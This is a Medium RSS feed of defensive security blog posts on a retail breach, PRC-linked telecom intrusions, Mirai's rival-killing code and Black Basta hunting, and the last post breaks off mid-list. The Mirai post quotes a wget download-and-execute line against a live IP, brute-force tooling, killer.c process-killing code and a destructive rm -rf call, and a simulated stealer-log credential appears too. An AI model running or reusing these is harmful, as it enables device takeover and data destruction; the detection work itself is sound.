<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhinav pandey on Medium]]></title>
        <description><![CDATA[Stories by Abhinav pandey on Medium]]></description>
        <link>https://medium.com/@abhinavpandeyy?source=rss-aba5cf53a064------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*q1C_9Ch92TofI5KuOAa3HQ.jpeg</url>
            <title>Stories by Abhinav pandey on Medium</title>
            <link>https://medium.com/@abhinavpandeyy?source=rss-aba5cf53a064------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 12:46:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abhinavpandeyy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Canada didn’t get breached because of a highly advanced cyber weapon.]]></title>
            <link>https://abhinavpandeyy.medium.com/canada-didnt-get-breached-because-of-a-highly-advanced-cyber-weapon-1a1cd52976e9?source=rss-aba5cf53a064------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a1cd52976e9</guid>
            <category><![CDATA[canada]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ttp]]></category>
            <category><![CDATA[cyberattack]]></category>
            <dc:creator><![CDATA[Abhinav pandey]]></dc:creator>
            <pubDate>Fri, 07 Nov 2025 01:21:20 GMT</pubDate>
            <atom:updated>2025-11-07T01:21:20.976Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>It happened because one weak point in an e-commerce database was enough.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UYl0JJWz0BN1QgvKpzgkQ.png" /><figcaption>AI Generated image of the likely TTP</figcaption></figure><p>Last month Canadian Tire confirmed an e-commerce data incident.<br>No bank accounts or loyalty-program data were exposed as the company stated. The issue was limited to an e-commerce database and the vulnerability has been fixed.</p><h3><strong>No mystery. No Hollywood-style hacking.</strong></h3><p>This looks like a <strong>web-facing database vulnerability + unauthorized access</strong>.<br>That alone is enough to steal customer records if the DB returns personal details.<br>Here’s how these things usually play out in simple steps:</p><h3>How it likely happened (attack chain)</h3><ul><li>Vulnerability exists in an e-commerce database or its API (confirmed that the incident involved an e-commerce DB).</li><li>Attacker finds the exposed endpoint or compromised credentials and queries the DB for customer records. (Canadian Tire said the activity was limited to that DB.)</li><li>Automated scripts pull large volumes of data quickly, often at rates that should trigger alarms if monitoring &amp; rate limits are active. (This is a common pattern across 2025 breaches.)</li></ul><h3>𝗔 𝗳𝗲𝘄 𝘁𝗵𝗼𝘂𝗴𝗵𝘁𝘀:</h3><p>• The headline is often “a breach” — but the root is usually simple: misconfiguration, missing controls, or a third-party weakness. The Government of Canada’s recent incidents also remind us third-party services &amp; integrations are frequent failure points.<br> • Fixing the software bug is step one. Hardening controls is step two. The same mistakes keep showing up — retailers, airlines, and fintechs have all reported similar incidents.</p><h3>𝗪𝗵𝗮𝘁 𝘁𝗼 𝗱𝗼 (practical, high-value fixes):</h3><ol><li><strong>Block the highway:</strong> Add preventative controls on APIs &amp; DBs — rate limits, auth, allow-lists, and query caps.</li><li><strong>Protect the keys:</strong> Verify partner access. Use strong onboarding and short-lived credentials.</li><li><strong>Detect the spam:</strong> Monitor for abnormal query rates or export patterns.</li><li><strong>Minimize damage:</strong> Keep only essential PII — less data, less risk.</li><li><strong>Plan for disclosure:</strong> Incidents are inevitable. Test your comms and playbooks.</li></ol><p>If you run an e-commerce or customer-data product, start with rate limiting + credential hygiene — you’ll stop most of the easy wins for attackers.</p><p>If you liked this — follow me for short, jargon-free breakdowns of real attacks.<br>I dig into confirmed facts, show the attack flow, and give practical fixes.</p><p>#canada #cyberattacks</p><h3>Notes (short)</h3><p><strong>Confirmed:</strong> Canadian Tire said an e-commerce database was accessed, limited in scope, and fixed.<br><strong>Inferred:</strong> Likely API or DB exposure with automated extraction — not detailed publicly.<br><strong>Context:</strong> Retail and e-commerce sectors continue to face similar API/database exposures — automation and weak preventative controls remain recurring root causes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a1cd52976e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Inside the Shadows: PRC-Linked APT Targeting Canada’s Telecom Infrastructure]]></title>
            <link>https://abhinavpandeyy.medium.com/inside-the-shadows-prc-linked-apt-targeting-canadas-telecom-infrastructure-da87aa770bd8?source=rss-aba5cf53a064------2</link>
            <guid isPermaLink="false">https://medium.com/p/da87aa770bd8</guid>
            <category><![CDATA[salt-typhoon]]></category>
            <category><![CDATA[telecommunication]]></category>
            <category><![CDATA[canada]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abhinav pandey]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 19:38:13 GMT</pubDate>
            <atom:updated>2025-07-03T19:38:13.823Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Abhinav Pandey</strong></p><h3>Executive Summary</h3><p>In 2025, the Canadian Centre for Cyber Security (CCCS) confirmed that <strong>telecommunications providers in Canada</strong> were successfully compromised by <strong>PRC state-sponsored actors</strong>. These intrusions are part of a broader global cyberespionage campaign designed to intercept telecom metadata, establish long-term persistence, and surveil high-value targets within national networks.</p><p>This blog offers a deep technical breakdown of the threat, centered on groups like <strong>Salt Typhoon </strong>and focuses specifically on the <strong>Canadian threat landscape</strong>, <strong>stealer-based credential abuse</strong>, and <strong>defender-ready detection strategies</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A9-glOoxS52-wTVt.jpg" /></figure><h3>Why Canadian Telecom is a Strategic Target</h3><ul><li>Canada is a <strong>Five Eyes</strong> member and a <strong>strategic intelligence node</strong>.</li><li>Telecom providers are <strong>central to citizen privacy, critical infrastructure, and cross-border communication.</strong></li></ul><p>State-linked APTs leverage telecom access to track:</p><ul><li><strong>Government officials</strong></li><li><strong>Foreign diplomats in Canada</strong></li><li><strong>Cross-border travelers (e.g., journalists, executives)</strong></li></ul><h3>🕵️‍♂️ Threat Actor Spotlight: Salt Typhoon</h3><p><strong>Salt Typhoon</strong> (tracked by Microsoft, overlaps with APT15/Ke3chang/Playful Taurus) is a PRC-affiliated cyber espionage group with a track record of targeting:</p><ul><li>Government contractors</li><li>Telecommunications providers</li><li>Defense and aerospace organizations,</li></ul><h4>Key Tactics Observed in Canada:</h4><ul><li><strong>Edge device exploitation</strong>: Cisco, Fortinet, SonicWall appliances</li><li><strong>Credential harvesting and abuse</strong></li><li><strong>Living-off-the-land (LOTL)</strong> techniques using PsExec, WMI, net.exe</li><li><strong>SOHO router hijacking</strong> for infrastructure obfuscation</li><li><strong>Kernel rootkits</strong> for long-term persistence (e.g., <em>Demodex</em>)</li></ul><h3>🔓 Canadian Access Vector: Stealer Logs &amp; Leaked Credentials</h3><p>In addition to zero-days and infrastructure exploits, we identify <strong>commodity stealer infections</strong> as a viable initial access method used against Canadian telecoms.</p><h4>Example: RedLine Infection (Simulated Canadian Sample)</h4><pre>Dump Date: 2024-10-18<br>Email: vpnadmin@telus.com<br>VPN URL: https://vpn.telus.com<br>Password: T3lus@Work!<br>Cookie: Zabbix session token → https://core-infra.telus.ca/zabbix</pre><p>These credentials, likely harvested via RedLine or Lumma stealer, can be:</p><ul><li>Purchased on dark web marketplaces</li><li>Used to bypass perimeter defenses</li><li>Correlated with login anomalies in SIEM systems</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7FJaIflbz9kUNB34" /></figure><blockquote><strong><em>🔬 Research Hypothesis:</em></strong><em> Canadian telecom credentials are being systematically harvested, then sold or re-used by state-sponsored actors for lateral movement or privileged access.</em></blockquote><h3>🧩 Detection: What Defenders in Canada Should Deploy</h3><h4>🔍 Credential Abuse &amp; Anomalous Access</h4><blockquote>Add your exit nodes, Known VPN IPs, and more accordingly in the rule</blockquote><pre>// Azure Sentinel: Cross-border login attempts<br>DeviceLogonEvents<br>| where LogonType in (&quot;RemoteInteractive&quot;, &quot;Network&quot;)<br>| where IPAddress != &quot;&quot; and isnotempty(IPAddress)<br>| extend RemoteCountry = tostring(GeoInfo.Country)<br>| where RemoteCountry !in~ (&quot;Canada&quot;, &quot;Unknown&quot;)<br>| extend NormalizedUser = tolower(AccountName)<br>| where NormalizedUser endswith &quot;@bell.ca&quot; <br>       or NormalizedUser endswith &quot;@telus.com&quot; <br>       or NormalizedUser endswith &quot;@rogers.com&quot;<br>| where NormalizedUser !in~ (&quot;svc-backup@bell.ca&quot;, &quot;svc-monitor@telus.com&quot;, &quot;svc-itops@rogers.com&quot;) // trusted service accounts<br>| where IPAddress !in (&quot;203.0.113.5&quot;, &quot;198.51.100.17&quot;) // known VPN or proxy exit nodes<br>| extend IsRiskyCountry = iif(RemoteCountry in~ (&quot;Russia&quot;, &quot;China&quot;, &quot;Iran&quot;, &quot;North Korea&quot;), true, false)</pre><h4>🧪 Stealer Log Correlation with Internal Logs</h4><blockquote>For this rule, you need a Stealer log source to validate leaked credentials, there are various third party open source providers for the same.</blockquote><pre>// Match stealer-exposed emails with login anomalies<br>let leakedUsers = externaldata(AccountName: string)<br>[&quot;https://intel-feed/stealer-canada.csv&quot;]<br>with(format=&#39;csv&#39;);<br>DeviceLogonEvents<br>| where IPAddress != &quot;&quot; and isnotempty(IPAddress)<br>| extend RemoteCountry = tostring(GeoInfo.Country)<br>| where RemoteCountry !in~ (&quot;Canada&quot;, &quot;Unknown&quot;)<br>| join kind=inner (leakedUsers) on AccountName<br>| extend NormalizedUser = tolower(AccountName)<br>| project-reorder Timestamp, NormalizedUser, DeviceName, IPAddress, RemoteCountry, LogonType</pre><h4>🧠 Behavioral Rules for LOTL TTPs</h4><ul><li>Monitor for <strong>PsExec or WMI</strong> usage during off-hours</li><li>Alert on <strong>net.exe use for domain enumeration</strong></li><li>Watch for <strong>PowerShell encoding obfuscation</strong> patterns</li></ul><pre>// TODO: Add your high-value server names in the list below<br>let HighValueAssets = dynamic([&quot;DC01&quot;, &quot;FS01&quot;, &quot;MGMT-SRV&quot;]);<br><br>let ObfuscatedPowerShell = <br>SecurityEvent<br>| where EventID == 4688<br>| where NewProcessName has &quot;powershell.exe&quot;<br>| where CommandLine matches regex @&quot;(?i)(frombase64string|join|char\(|\^|`|Invoke-Expression|IEX)&quot;<br>| extend Hour = datetime_part(&quot;hour&quot;, TimeGenerated)<br>| where Hour &lt; 6 or Hour &gt; 21<br>| project TimeGenerated, Account, Computer, NewProcessName, CommandLine, ToolCategory=&quot;PowerShellObfuscation&quot;, Hour<br>;<br><br>let LotLTools =<br>SecurityEvent<br>| where EventID == 4688<br>| where NewProcessName has_any (&quot;PsExec.exe&quot;, &quot;wmic.exe&quot;, &quot;net.exe&quot;)<br>| where Account endswith &quot;.ca&quot;<br>| extend Hour = datetime_part(&quot;hour&quot;, TimeGenerated)<br>| where Hour &lt; 6 or Hour &gt; 21<br>| extend ToolCategory = case(<br>    NewProcessName has &quot;PsExec&quot;, &quot;RemoteExecution&quot;,<br>    NewProcessName has &quot;wmic&quot;, &quot;WMIExec&quot;,<br>    NewProcessName has &quot;net&quot;, &quot;Recon/Enum&quot;,<br>    &quot;Other&quot;<br>  )<br>| extend IsHighValueAsset = iif(Computer in~ (HighValueAssets), true, false)<br>| project TimeGenerated, Account, Computer, NewProcessName, CommandLine, ToolCategory, Hour, IsHighValueAsset<br>;<br><br>LotLTools<br>| union ObfuscatedPowerShell</pre><h3>📡 Beyond IOC: Strategic Recommendations for Canadian Defenders</h3><ol><li><strong>Partner with CCTX &amp; CCCS</strong>: Share anonymized threat observations and join cross-industry playbook development.</li><li><strong>Edge Device Telemetry</strong>: Ingest logs from FortiGate, Cisco ASA, and any device facing the public internet.</li><li><strong>Secure Remote Access Infrastructure</strong>:</li></ol><ul><li>Enforce MFA</li><li>Rotate credentials regularly</li><li>Audit VPN access logs daily</li></ul><p>4. <strong>Deploy Protocol-aware Honeynets</strong></p><p>5. Simulate GGSN or Zabbix dashboards</p><ul><li>Observe attacker post-exploitation behavior</li></ul><p>6.<strong> Invest in Stealer Log Monitoring Pipelines</strong>:</p><ul><li>Use SpiderFoot, IntelMQ, or custom crawlers to track Canadian credentials in dark web logs.</li></ul><h3>🧪 Research Gaps &amp; Call to Action</h3><p>Let’s move the conversation from reactive to proactive. Here’s where Canadian researchers, defenders, and red teams can add real value:</p><ul><li><strong>Reverse-engineer rootkits like Demodex</strong> in isolated lab environments</li><li><strong>Simulate telecom environments (GPRS/LTE core)</strong> in honeynets</li><li><strong>Track Canadian credential leaks over time</strong> to identify targeting trends</li><li><strong>Build resilient detections based on behavior</strong>, not just signatures</li></ul><h3>🇨🇦 Final Words</h3><p>This isn’t just a telecom problem. It’s a <strong>Canadian national security issue</strong>. PRC-linked threat actors have demonstrated not just capability but intent and success in compromising core telecom systems. Our defense must evolve from patching known holes to predicting and preempting strategic moves.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da87aa770bd8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Discovered Mirai’s Botnet Hygiene: A Look Inside Process Killing in IoT Malware]]></title>
            <link>https://abhinavpandeyy.medium.com/how-i-discovered-mirais-botnet-hygiene-a-look-inside-process-killing-in-iot-malware-27742a6317fd?source=rss-aba5cf53a064------2</link>
            <guid isPermaLink="false">https://medium.com/p/27742a6317fd</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[botnet]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[mirai]]></category>
            <dc:creator><![CDATA[Abhinav pandey]]></dc:creator>
            <pubDate>Tue, 17 Jun 2025 03:42:49 GMT</pubDate>
            <atom:updated>2025-06-17T14:27:51.894Z</atom:updated>
            <content:encoded><![CDATA[<p>Unpacking the Competitive Survival Tactics of Mirai Through Source Code, Process Killing, and Resource Locking in IoT Malware</p><h3>Introduction: From Infection Chain to Competitive Malware Behaviour</h3><p>While monitoring underground Telegram channels via a <strong>sock puppet account</strong> as part of ongoing research into IoT/OT malware, I gained access to a <strong>private threat actor group</strong> known for sharing botnet payloads, builder kits, and raw source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*Qct7aBahcA7DeA8k.jpg" /></figure><p>Among the shared materials, one infection chain immediately caught my attention. It was a <strong>modified and annotated version of the Mirai botnet source code</strong> , not just the classic 2016 leak, but an updated variant with <strong>modular enhancements</strong> and <strong>new behavioral routines</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*OHY7G4hd7tbKdUoe9guKmQ.png" /><figcaption>Figure: List of files from the botnet’s source code</figcaption></figure><p>The deployment sequence closely resembled Mirai’s traditional style and involved tools such as:</p><pre>zmap -p23 -o ips.txt -w x4.lst<br>python xbruter.py ips.txt 2000 vuln.txt<br>python xloader.py vuln.txt<br>wget http://107.175.247.196/Demon.x86; chmod +x Demon.x86; ./Demon.x86</pre><p>At first glance, this appeared to be another brute-force → payload → execution cycle. But something caught my attention: the infection routine <strong>removed temporary files</strong> and aggressively <strong>cleaned up execution artifacts</strong>, including:</p><pre>rm -rf Demon.x86</pre><p>That’s when I asked: <em>what else is it cleaning up?</em></p><p>Digging deeper, I reviewed the original <strong>Mirai source code leak</strong>, and inside the file mirai/bot/killer.c, I found routines like killer_kill_by_name() and killer_kill_by_port() , clearly designed to <strong>terminate rival malware</strong>, <strong>lock key ports</strong>, and <strong>secure control of the infected host</strong>.</p><p>This behavior, often under-discussed, represents a powerful concept in malware operations:</p><blockquote><strong><em>Botnet hygiene: </em></strong><em>The practice of removing competing threats and locking system resources to maintain dominance.</em></blockquote><p>I decided to investigate this further and what I found was a classic example of <strong>botnet hygiene</strong>, or <strong>resource locking</strong>, executed in a rather elegant yet aggressive fashion.</p><h3>🧠 Why This Matters: Botnets Compete Too</h3><p>IoT devices — routers, DVRs, IP cameras — are heavily targeted by <strong>multiple malware families simultaneously</strong> (e.g., Mirai, Mozi, Gafgyt, Qbot). Once a device is infected, it becomes a <strong>valuable bot</strong> for DDoS-for-hire services or initial access resale.</p><p>But what if another botnet infects the same device? That’s where <strong>botnet hygiene</strong> comes in.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fzk0zTXQY5ukCs%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPWVjZjA1ZTQ3eXJpZHZ0bWZrb3M1bnRvd29mMDdwdDR1NmdwYjg0cDU0MWNsNGMxMCZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2Fzk0zTXQY5ukCs%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExM2J1OTZxZHZ0bHR0cDJ5ajdyeXBnenBoc2tvMnY5Y2puaXppNmRuZCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2Fzk0zTXQY5ukCs%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="183" frameborder="0" scrolling="no"><a href="https://medium.com/media/c91724955ca328cc445edb3ce229c60c/href">https://medium.com/media/c91724955ca328cc445edb3ce229c60c/href</a></iframe><blockquote><em>Mirai actively scans, identifies, and terminates other malware processes, locks key ports, and deletes rival payloads — all to ensure </em><strong><em>exclusive control</em></strong><em>.</em></blockquote><ul><li><strong>Botnet Hygiene</strong> is the practice of removing competing malware and securing infected devices to maintain exclusive control within a botnet.</li><li><strong>Resource Locking</strong> is a tactic used by malware to block or disable system resources — like ports, processes, or services, to prevent reinfection by rival threats.</li></ul><h3>🧬 Analyzing the Source Code: How Mirai Kills Other Malware</h3><p>Once I extracted and reviewed the source files, the most revealing logic sat inside killer.c.</p><h3>🔪 Code Snippet 1: Process Killing Routine</h3><p>Mirai scans /proc/ to read the command lines of running processes and terminates those matching a predefined list of names (like &quot;telnetd&quot;, &quot;lighttpd&quot;, or known malware variants):</p><pre>void killer_kill_by_name(char *proc_name)<br>{<br>    DIR *dir;<br>    struct dirent *entry;<br><br>    dir = opendir(&quot;/proc&quot;);<br><br>    while ((entry = readdir(dir)) != NULL)<br>    {<br>        char path[256], cmdline[256];<br>        FILE *fp;<br><br>        if (!isdigit(*entry-&gt;d_name)) continue;<br><br>        snprintf(path, sizeof(path), &quot;/proc/%s/cmdline&quot;, entry-&gt;d_name);<br>        fp = fopen(path, &quot;r&quot;);<br><br>        if (fp)<br>        {<br>            fgets(cmdline, sizeof(cmdline), fp);<br>            fclose(fp);<br><br>            if (strstr(cmdline, proc_name))<br>            {<br>                kill(atoi(entry-&gt;d_name), SIGKILL);<br>            }<br>        }<br>    }<br><br>    closedir(dir);<br>}</pre><blockquote><em>💡 </em>Insight:<em> This loop is a </em><strong><em>manual signature-based killer</em></strong><em> that terminates other malware with minimal overhead. It ensures Mirai remains the dominant process.</em></blockquote><h3>🧩 Common Targeted Process Names (and Why They’re Killed)</h3><p>In the source, Mirai includes a <strong>hardcoded list of process names</strong> known to be used by competing malware or default services that could interfere with its operation.</p><p>Here’s a quick breakdown:</p><blockquote><strong>telnetd</strong> – Default Telnet service; used as an initial infection point. Killing it prevents reinfection.</blockquote><blockquote><strong>dropbear</strong> – Lightweight SSH server; used in embedded Linux systems. Mirai disables it to restrict remote control.</blockquote><blockquote><strong>dvrHelper</strong> – Tied to DVR systems frequently infected by Gafgyt and Mozi; Mirai removes it to dominate DVR space.</blockquote><blockquote><strong>lighttpd / </strong><strong>httpd</strong> – Web servers on IoT devices, often exploited for command injection or malware hosting.</blockquote><blockquote><strong>bash / </strong><strong>sh</strong> – Active shell processes that may be running malware scripts. Terminated to disrupt rival bots.</blockquote><blockquote><strong>mirai, </strong><strong>mozi, </strong><strong>gafgyt (matched by substring)</strong> – Known botnet payloads; Mirai actively hunts and kills them in memory.</blockquote><ul><li><strong>Example from the source code (killer.c):</strong></li></ul><pre>char *procs[] = {&quot;telnetd&quot;, &quot;dvrHelper&quot;, &quot;lighttpd&quot;, &quot;httpd&quot;, &quot;bash&quot;, &quot;dropbear&quot;};</pre><blockquote><em>These process names aren’t just randomly chosen — they reflect a </em><strong><em>deep understanding of the IoT malware ecosystem</em></strong><em>, enabling Mirai to systematically take over infected devices by </em><strong><em>clearing out rivals</em></strong><em>.</em></blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F24216874&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fno-contest-shane-luis-rerez-no-fighting-chance-sure-win-gif-24216874&amp;image=https%3A%2F%2Fmedia.tenor.com%2FKnktfPeiiYMAAAAN%2Fno-contest-shane-luis.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/bd96bc9873d55c1a1d4066a12356ffe9/href">https://medium.com/media/bd96bc9873d55c1a1d4066a12356ffe9/href</a></iframe><h3>🧼 Code Snippet 2: Port Binding to Prevent Reinfection</h3><p>Mirai tries to bind key ports (like <strong>23, 2323, 7547</strong>) — commonly used by competing malware — to prevent them from establishing control.</p><pre>int s = socket(AF_INET, SOCK_STREAM, 0);<br>bind(s, &amp;addr, sizeof(addr)); // if bind is successful, port is locked</pre><p>If successful, <strong>no other process can use those ports</strong>, essentially “reserving” them even if Mirai doesn’t need them actively.</p><h3>🗑️ Code Snippet 3: File Cleanup</h3><pre>system(&quot;rm -rf /tmp/* /dev/.sh /etc/init.d/rcS&quot;);</pre><p>This command wipes known temporary paths used by other botnets and even removes startup scripts to disable rival persistence.</p><h3>👀 Detection Opportunities: How to Hunt Botnet Hygiene</h3><h3>🎯 Sigma Rule — Linux Process Killing from /proc</h3><pre>title: IoT Malware - Process Killing in /proc<br>status: experimental<br>description: Detects suspicious process killing attempts by accessing the /proc filesystem or using kill commands, often observed in IoT malware behavior on Linux systems.<br>author: Abhinav Pandey<br>logsource:<br>  product: linux<br>  category: process_creation<br>detection:<br>  selection:<br>    command_line|contains:<br>      - &quot;/proc/&quot;<br>      - &quot;cmdline&quot;<br>      - &quot;kill(&quot;<br>  condition: selection<br>level: high<br>falsepositives:<br>  - Legitimate administrative commands for process management<br>  - Automated scripts performing routine process handling<br>references:<br>  - https://attack.mitre.org/techniques/T1565/001/<br>  - https://www.sigmahq.org/<br>tags:<br>  - attack.execution<br>  - attack.t1565</pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F15373690&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fim-gonna-find-them-all-assured-confident-i-got-this-searching-gif-15373690&amp;image=https%3A%2F%2Fmedia.tenor.com%2FRdF3HQT1EIgAAAAN%2Fim-gonna-find-them-all-assured.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/ee41526bbe50ac963975da5c2b2a86b2/href">https://medium.com/media/ee41526bbe50ac963975da5c2b2a86b2/href</a></iframe><h3>🕵️ Threat Hunting in Microsoft Sentinel (KQL)</h3><h4>💥 Port Binding on IoT Devices</h4><pre>Syslog<br>| where SyslogMessage contains &quot;bind&quot;<br>| where PortNumber in (23, 2323, 7547)<br>| summarize count() by Hostname, PortNumber</pre><h4>💥 Bulk Process Termination</h4><pre>Syslog<br>| where CommandLine contains &quot;kill -9&quot; or CommandLine contains &quot;SIGKILL&quot;<br>| summarize count() by Computer, User, CommandLine</pre><h4>💥 File Deletion of Competitors</h4><pre>Syslog<br>| where CommandLine contains &quot;rm -rf&quot; and CommandLine contains &quot;/tmp/&quot;</pre><h3>🛡️ Defensive Recommendations</h3><ul><li><strong>Apply firmware hardening:</strong> Disable Telnet, SSH, FTP on embedded devices.</li><li><strong>Deploy IoT-aware EDR/NDR:</strong> Track unusual port binds, file deletion, and process termination.</li><li><strong>Use threat intelligence to enrich behavior baselines:</strong> If a process consistently kills system services, flag it.</li><li><strong>Segment and monitor:</strong> Isolate OT/IoT assets from production networks and restrict egress traffic.</li></ul><h3>🧩 Final Thoughts: Malware Is Competitive, Too</h3><p>What fascinated me during this research wasn’t just how Mirai spreads, but how it <strong>ensures it’s the only one spreading</strong> on a given device. The concept of <strong>botnet hygiene</strong> reflects an evolution in malware: from just infecting to <strong>maintaining ecosystem dominance</strong>.</p><p>In highly targeted IoT/OT environments, identifying these aggressive behaviors early can prevent a single infection from turning into a full-blown DDoS node or ransomware delivery point.</p><p><strong>Keywords</strong>: Mirai botnet, IoT malware, Botnet hygiene, Process killing malware, DDoS botnet malware, Mirai source code analysis</p><p><strong>Author:</strong> Abhinav Pandey</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27742a6317fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Effective Threat Hunting: Black Basta Ransomware with KQL and SIGMA]]></title>
            <link>https://medium.com/cyversity/effective-threat-hunting-black-basta-ransomware-with-kql-and-sigma-038e6a976d0b?source=rss-aba5cf53a064------2</link>
            <guid isPermaLink="false">https://medium.com/p/038e6a976d0b</guid>
            <category><![CDATA[sigma]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[blackbasta]]></category>
            <dc:creator><![CDATA[Abhinav pandey]]></dc:creator>
            <pubDate>Thu, 21 Nov 2024 05:13:00 GMT</pubDate>
            <atom:updated>2024-11-21T11:51:24.491Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Proactive Strategies to Uncover and Mitigate Black Basta Ransomware Threats Using Advanced Querying and Detection Rules</strong></p><p>The blog offers a detailed framework for detecting and mitigating Black Basta ransomware activities using KQL (Kusto Query Language) and SIGMA rules. It focuses on the ransomware group’s recent tactics, including leveraging <a href="https://www.bleepingcomputer.com/news/security/black-basta-ransomware-poses-as-it-support-on-microsoft-teams-to-breach-networks/">Microsoft Teams while posing as IT support</a> to infiltrate networks. The content highlights their attack chain, effective detection strategies, and tools to enable proactive threat hunting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L4EdPIJlBqZlzZUvkWfq6Q.jpeg" /><figcaption>Generated using <a href="https://magicstudio.com/ai-art-generator/">MagicStudio</a></figcaption></figure><h3>Introduction</h3><p><strong>Overview of Black Basta Ransomware</strong></p><ul><li><strong>Emerged</strong>: April 2022; operates as Ransomware-as-a-Service (RaaS).</li><li><strong>Tactics</strong>: Includes posing as IT support via Microsoft Teams (Recent Campaign), exploiting vulnerabilities, and advanced credential theft techniques.</li><li><strong>Impact</strong>: <a href="https://www.pcmag.com/news/a-lucrative-scam-black-basta-ransomware-gang-rakes-in-107-million">Extorted $107M from 500+ organizations</a>. Largest received ransom payment was $9 million, and at least 18 of the ransoms exceeded $1 million. The average ransom payment was <a href="https://therecord.media/blackbasta-ransom-payments">$1.2 million.</a></li><li>PR Site: hxxps[://]bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd[.]onion</li><li>Check them here: <a href="https://app.any.run/tasks/182cff7f-c0dd-4bed-8d3d-7b83b75dfca4">https://app.any.run/tasks/182cff7f-c0dd-4bed-8d3d-7b83b75dfca4</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*u_55uh7ZjdL3bXE2" /><figcaption>Art for BlackBasta ransomware group posing as IT support for Microsoft Teams (<a href="https://deepai.org/machine-learning-model/street-art-generator">Here</a>)</figcaption></figure><h3>Detection Methods:</h3><ul><li><strong>Endpoint Detection and Response (EDR)</strong> tools can be configured to look for unusual file behavior, command-line activity, registry changes, and network traffic associated with Black Basta.</li><li><strong>Signature-based Detection</strong>: Antivirus software and security tools should be updated with signatures for Black Basta’s known file hashes and behaviors.</li><li><strong>Behavioral Detection</strong>: Monitoring for anomalous encryption patterns and large numbers of file modifications, combined with other indicators such as mutex or process injection, can trigger alerts.</li></ul><p>Let’s look at this detection methods with Black Basta’s Attack chain:</p><h3>Key Stages in Black Basta Attack Chain:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*s3kByvfsjzqCEM6Z2mFzsQ.png" /><figcaption>Black Basta Attack Chain</figcaption></figure><h3>Initial Access</h3><p><strong>Objective</strong>: Gain entry into the target environment.</p><p><strong>Techniques Used</strong>:</p><ul><li><strong>Exploiting Vulnerabilities</strong>: Uses exploits in unpatched systems (e.g., vulnerabilities in public-facing applications or services like RDP or VPN).</li><li><strong>Phishing Campaigns</strong>: Delivers malicious payloads via phishing emails with attachments or links to malware.</li><li><strong>Social Engineering (IT Help Desk): </strong>Abuse of Microsoft Teams to impersonate IT help desks including sharing <strong>QR codes</strong> or spam flood tactics.</li></ul><pre>How Does Black Basta Exploit Microsoft Teams?<br>Entra ID Tenants in Social Engineering Attacks:  <br>The Actors flood employees’ emails with spam emails, then message them on Microsoft Teams, posing as IT support to resolve the issue. <br>They use fake Entra ID tenant accounts like:  <br>- securityadminhelper.onmicrosoft[.]com  <br>- 